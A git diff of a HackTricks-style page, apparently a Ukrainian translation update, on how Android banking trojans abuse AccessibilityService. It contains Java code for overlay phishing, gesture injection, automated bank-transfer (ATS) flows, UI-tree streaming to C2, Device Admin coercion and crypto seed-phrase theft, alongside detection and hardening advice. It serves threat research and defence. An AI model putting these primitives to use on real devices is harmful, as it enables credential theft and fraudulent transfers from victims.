- [Android Malware Promises Energy Subsidy to Steal Financial Data (McAfee Labs)](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/android-malware-promises-energy-subsidy-to-steal-financial-data/) - [Android Malware Promises Energy Subsidy to Steal Financial Data (McAfee Labs)](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/android-malware-promises-energy-subsidy-to-steal-financial-data/)
- [Firebase Cloud Messaging — Docs](https://firebase.google.com/docs/cloud-messaging) - [Firebase Cloud Messaging — Docs](https://firebase.google.com/docs/cloud-messaging)
- [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats)
- [GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

181
src/mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md
View File

@ -1,24 +1,24 @@
# Зловживання службами доступності Android # Зловживання Android Accessibility Service
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Огляд ## Огляд
`AccessibilityService` була створена, щоб допомогти користувачам з обмеженими можливостями взаємодіяти з пристроями Android. На жаль, ті ж **потужні API автоматизації** (глобальна навігація, введення тексту, обробка жестів, вікна накладок…) можуть бути використані шкідливим ПЗ для отримання **повного віддаленого контролю** над пристроєм _без прав root_. `AccessibilityService` було створено, щоб допомогти користувачам з інвалідністю взаємодіяти з пристроями Android. На жаль, ті самі **потужні automation APIs** (global navigation, text input, gesture dispatch, overlay windows…) можуть бути використані шкідливим ПЗ для отримання **повного віддаленого контролю** над телефоном _без привілеїв root_.
Сучасні банківські трояни Android та трояни віддаленого доступу (RAT) такі як **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** та багато інших слідують одному й тому ж рецепту: Сучасні Android banking Trojans та Remote-Access-Trojans (RATs) такі як **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** та багато інших дотримуються одного й того ж сценарію:
1. Соціально інженерити жертву, щоб вона ввімкнула зловмисну службу доступності (дозвіл *BIND_ACCESSIBILITY_SERVICE* вважається "високим ризиком" і вимагає явної дії користувача). 1. Соціально-інженерити жертву, щоб вона увімкнула зловмисний accessibility service (the *BIND_ACCESSIBILITY_SERVICE* permission is considered "high-risk" and requires an explicit user action).
2. Використовувати службу для 2. Використати сервіс для
* захоплення кожної події UI та тексту, що з'являється на екрані, * перехоплення кожної події UI та тексту, що з'являється на екрані,
* ін'єкції синтетичних жестів (`dispatchGesture`) та глобальних дій (`performGlobalAction`), щоб автоматизувати будь-яке завдання, яке бажає оператор, * ін'єкції синтетичних жестів (`dispatchGesture`) та глобальних дій (`performGlobalAction`) для автоматизації будь-яких дій, що потрібні оператору,
* малювання накладок на весь екран поверх легітимних додатків, використовуючи тип вікна **TYPE_ACCESSIBILITY_OVERLAY** (без запиту `SYSTEM_ALERT_WINDOW`!), * відображення повноекранних оверлеїв поверх легітимних додатків, використовуючи тип вікна **TYPE_ACCESSIBILITY_OVERLAY** (без prompt `SYSTEM_ALERT_WINDOW`!),
* безшумного надання додаткових дозволів під час виконання, натискаючи на системні діалоги від імені жертви. * безшумного надання додаткових runtime permissions шляхом кліку по системних діалогах від імені жертви.
3. Екстракція даних або виконання **On-Device-Fraud (ODF)** в реальному часі, поки користувач дивиться на цілком нормальний екран. 3. Екфільтрації даних або виконання **On-Device-Fraud (ODF)** в реальному часі поки користувач дивиться на цілком нормальний екран.
--- ---
## Запит на дозвіл ## Requesting the permission
```xml ```xml
<!-- AndroidManifest.xml --> <!-- AndroidManifest.xml -->
<service <service
@ -34,7 +34,7 @@ android:exported="false">
android:resource="@xml/evil_accessibility_config"/> android:resource="@xml/evil_accessibility_config"/>
</service> </service>
``` ```
Супутній XML визначає, як виглядатиме підроблений діалог: Супровідний XML визначає, як виглядатиме фальшиве діалогове вікно:
```xml ```xml
<?xml version="1.0" encoding="utf-8"?> <?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android" <accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
@ -47,7 +47,7 @@ android:canRetrieveWindowContent="true"/>
``` ```
--- ---
## Примітиви автоматизації віддаленого інтерфейсу користувача ## Примітиви віддаленої автоматизації UI
```java ```java
public class EvilService extends AccessibilityService { public class EvilService extends AccessibilityService {
@Override @Override
@ -68,17 +68,17 @@ dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, nul
} }
} }
``` ```
З використанням лише цих двох API зловмисник може: Маючи лише ці два APIs, зловмисник може:
* Розблокувати екран, відкрити банківський додаток, навігувати його UI-дерево та надіслати форму переказу. * Розблокувати екран, відкрити банківський додаток, пройти його UI tree та відправити форму переказу.
* Приймати кожен діалог дозволу, що з'являється. * Автоматично приймати всі діалоги дозволів, які з'являються.
* Встановлювати/оновлювати додаткові APK через намір Play Store. * Встановлювати/оновлювати додаткові APKs через Play Store intent.
--- ---
## Шаблони зловживання ## Сценарії зловживань
### 1. Фішинг з накладенням (Збирання облікових даних) ### 1. Overlay Phishing (Credential Harvesting)
Прозорий або непрозорий `WebView` додається до менеджера вікон: Прозорий або непрозорий `WebView` додається до window manager:
```java ```java
WindowManager.LayoutParams lp = new WindowManager.LayoutParams( WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT, MATCH_PARENT, MATCH_PARENT,
@ -87,59 +87,146 @@ FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL, // touches still reach the real
PixelFormat.TRANSLUCENT); PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp); wm.addView(phishingView, lp);
``` ```
Жертва вводить облікові дані у фальшиву форму, в той час як фоновий додаток отримує ті ж жести – жоден підозрілий запит "малювати поверх інших додатків" ніколи не відображається. Жертва вводить облікові дані у фальшиву форму, тоді як фоновий додаток отримує ті самі ж жести — ніколи не з’являється підозрілий "draw over other apps" prompt.
> Детальний приклад: розділ *Accessibility Overlay Phishing* на сторінці Tapjacking. > Детальний приклад: секція *Accessibility Overlay Phishing* всередині сторінки Tapjacking.
### 2. Автоматизація шахрайства на пристрої ### 2. Автоматизація шахрайства на пристрої
Сімейства шкідливих програм, такі як **PlayPraetor**, підтримують постійний канал WebSocket, де оператор може видавати команди високого рівня (`init`, `update`, `alert_arr`, `report_list`, …). Сервіс перетворює ці команди на низькорівневі жести, досягаючи несанкціонованих транзакцій в реальному часі, які легко обходять багатофакторну аутентифікацію, пов'язану з цим пристроєм. Сімейства malware, такі як **PlayPraetor**, підтримують постійний канал WebSocket, де оператор може надсилати високорівневі команди (`init`, `update`, `alert_arr`, `report_list`, …). Сервіс перетворює ці команди на низькорівневі жести, описані вище, досягаючи в реальному часі несанкціонованих транзакцій, які легко обходять multi-factor-authentication, прив’язану до цього пристрою.
### 3. Потокове відео та моніторинг ### 3. Трансляція екрана та моніторинг
Поєднуючи **MediaProjection API** з бібліотекою клієнта RTMP, RAT може транслювати живий буфер кадрів на `rtmp://<c2>:1935/live/<device_id>`, надаючи противнику ідеальну ситуаційну обізнаність, поки движок Accessibility керує інтерфейсом. Поєднуючи **MediaProjection API** з RTMP клієнтською бібліотекою, RAT може транслювати live framebuffer на `rtmp://<c2>:1935/live/<device_id>`, забезпечуючи противникові повну ситуаційну обізнаність, поки Accessibility engine керує UI.
--- ---
## PlayPraetor – робочий процес командування та контролю ## PlayPraetor – command & control workflow
1. **HTTP(S) heartbeat** – ітерувати по заздалегідь визначеному списку, поки один домен не відповість `POST /app/searchPackageName` з активним C2. 1. **HTTP(S) heartbeat** – перебирає жорстко вбудований список, поки один домен не відповість `POST /app/searchPackageName` з активним C2.
2. **WebSocket (порт 8282)** – двосторонні JSON команди: 2. **WebSocket (port 8282)** – двонаправлені JSON-команди:
* `update` – надсилати нові конфігурації/APK * `update` – push new conf/APKs
* `alert_arr` – налаштувати шаблони накладок * `alert_arr` – configure overlay templates
* `report_list` – надіслати список цільових назв пакетів * `report_list` – send list of targeted package names
* `heartbeat_web` – підтримувати з'єднання * `heartbeat_web` – keep-alive
3. **RTMP (порт 1935)** – трансляція живого екрану/відео. 3. **RTMP (port 1935)** – live screen/video streaming.
4. **REST ексфільтрація** – 4. **REST exfiltration** –
* `/app/saveDevice` (відбиток) * `/app/saveDevice` (fingerprint)
* `/app/saveContacts` | `/app/saveSms` | `/app/uploadImageBase64` * `/app/saveContacts` | `/app/saveSms` | `/app/uploadImageBase64`
* `/app/saveCardPwd` (банківські облікові дані) * `/app/saveCardPwd` (bank creds)
**AccessibilityService** є локальним движком, який перетворює ці команди з хмари на фізичні взаємодії. The **AccessibilityService** is the local engine that turns those cloud commands into physical interactions.
--- ---
## Виявлення шкідливих служб доступності ## Виявлення шкідливих accessibility services
* `adb shell settings get secure enabled_accessibility_services` * `adb shell settings get secure enabled_accessibility_services`
* Налаштування → Доступність → *Завантажені служби* – шукайте додатки, які **не** з Google Play. * Settings → Accessibility → *Downloaded services* – шукайте додатки, які **не** з Google Play.
* Рішення MDM / EMM можуть примусово застосовувати `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+), щоб блокувати завантажені служби. * MDM / EMM solutions can enforce `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+) to block sideloaded services.
* Аналізуйте запущені служби: * Analyse running services:
```bash ```bash
adb shell dumpsys accessibility | grep "Accessibility Service" adb shell dumpsys accessibility | grep "Accessibility Service"
``` ```
--- ---
## Рекомендації щодо посилення безпеки для розробників додатків ## Рекомендації щодо захисту для розробників додатків
* Позначайте чутливі елементи з `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` (API 34+). * Позначайте чутливі view атрибутом `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` (API 34+).
* Поєднуйте `setFilterTouchesWhenObscured(true)` з `FLAG_SECURE`, щоб запобігти викраденню натискань/накладок. * Combine `setFilterTouchesWhenObscured(true)` with `FLAG_SECURE` щоб запобігти перехопленню натискань/оверлеїв.
* Виявляйте накладки, опитуючи `WindowManager.getDefaultDisplay().getFlags()` або API `ViewRootImpl`. * Detect overlays by polling `WindowManager.getDefaultDisplay().getFlags()` or the `ViewRootImpl` API.
* Відмовляйтеся від роботи, коли активна `Settings.canDrawOverlays()` **або** ненадійна служба доступності. * Refuse to operate when `Settings.canDrawOverlays()` **or** a non-trusted Accessibility service is active.
--- ---
## Посилання ## ATS automation cheat-sheet (Accessibility-driven)
Malware can fully automate a bank app with only Accessibility APIs. Generic primitives:
```java
// Helpers inside your AccessibilityService
private List<AccessibilityNodeInfo> byText(String t){
AccessibilityNodeInfo r = getRootInActiveWindow();
return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t);
}
private boolean clickText(String t){
for (AccessibilityNodeInfo n: byText(t)){
if (n.isClickable()) return n.performAction(ACTION_CLICK);
AccessibilityNodeInfo p = n.getParent();
if (p != null) return p.performAction(ACTION_CLICK);
}
return false;
}
private void inputText(AccessibilityNodeInfo field, String text){
Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text);
field.performAction(ACTION_SET_TEXT, b);
}
private void tap(float x, float y){
Path p = new Path(); p.moveTo(x,y);
dispatchGesture(new GestureDescription.Builder()
.addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null);
}
```
Приклад потоку (чеські → англійські мітки):
- "Nová platba" (Нова оплата) → натиснути
- "Zadat platbu" (Ввести платіж) → натиснути
- "Nový příjemce" (Новий отримувач) → натиснути
- "Domácí číslo účtu" (Номер внутрішнього рахунку) → перейти в поле і `ACTION_SET_TEXT`
- "Další" (Далі) → натиснути → … "Zaplatit" (Сплатити) → натиснути → ввести PIN
Fallback: жорстко задані координати з `dispatchGesture`, коли пошук по тексту не вдається через кастомні віджети.
Також спостерігалося: попередні кроки до `check_limit` та `limit` шляхом переходу до інтерфейсу лімітів і збільшення денних лімітів перед переказом.
## Текстова псевдо-трансляція екрана
Для керування з низькою затримкою, замість повного відеострімінгу, вивантажуйте текстове представлення поточного дерева UI і повторно надсилайте його на C2.
```java
private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){
if (n==null) return;
Rect b = new Rect(); n.getBoundsInScreen(b);
CharSequence txt = n.getText(); CharSequence cls = n.getClassName();
sb.append(indent).append("[").append(cls).append("] ")
.append(txt==null?"":txt).append(" ")
.append(b.toShortString()).append("\n");
for (int i=0;i<n.getChildCount();i++) dumpTree(n.getChild(i), indent+" ", sb);
}
```
Це основа для команд, таких як `txt_screen` (одноразово) та `screen_live` (безперервно).
## Примітиви примусу Device Admin
Після активації Device Admin receiver ці виклики збільшують можливості перехоплення облікових даних та утримання контролю:
```java
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
ComponentName admin = new ComponentName(this, AdminReceiver.class);
// 1) Immediate lock
dpm.lockNow();
// 2) Force credential change (expire current PIN/password)
dpm.setPasswordExpirationTimeout(admin, 1L); // may require owner/profile-owner on recent Android
// 3) Disable biometric unlock to force PIN/pattern entry
int flags = DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS;
dpm.setKeyguardDisabledFeatures(admin, flags);
```
Примітка: точна доступність цих політик залежить від версії Android та OEM; під час тестування перевіряйте роль політики пристрою (admin vs owner).
## Шаблони витягання seed-фраз криптогаманців
Спостережувані потоки для MetaMask, Trust Wallet, Blockchain.com і Phantom:
- Розблокування за вкраденим PIN (captured via overlay/Accessibility) або з наданим паролем гаманця.
- Перейдіть: Settings → Security/Recovery → Reveal/Show recovery phrase.
- Збирають фразу за допомогою кейлогінгу текстових вузлів, обходу secure-screen або OCR зі скриншота, коли текст приховано.
- Підтримка кількох локалей (EN/RU/CZ/SK) для стабілізації селекторів – віддавайте перевагу `viewIdResourceName` коли він доступний, у протилежному випадку використовувати багатомовне порівняння тексту.
## NFC-relay orchestration
Модулі Accessibility/RAT можуть встановити та запустити спеціальний NFC-relay додаток (e.g., NFSkate) як третю стадію і навіть інжектувати overlay-посібник, щоб супроводжувати жертву через кроки relay за наявності картки.
Background and TTPs: https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay
---
## References
* [PlayPraetor’s evolving threat: How Chinese-speaking actors globally scale an Android RAT](https://www.cleafy.com/cleafy-labs/playpraetors-evolving-threat-how-chinese-speaking-actors-globally-scale-an-android-rat) * [PlayPraetor’s evolving threat: How Chinese-speaking actors globally scale an Android RAT](https://www.cleafy.com/cleafy-labs/playpraetors-evolving-threat-how-chinese-speaking-actors-globally-scale-an-android-rat)
* [Android accessibility documentation – Automating UI interaction](https://developer.android.com/guide/topics/ui/accessibility/service) * [Android accessibility documentation – Automating UI interaction](https://developer.android.com/guide/topics/ui/accessibility/service)
* [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats)
* [GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}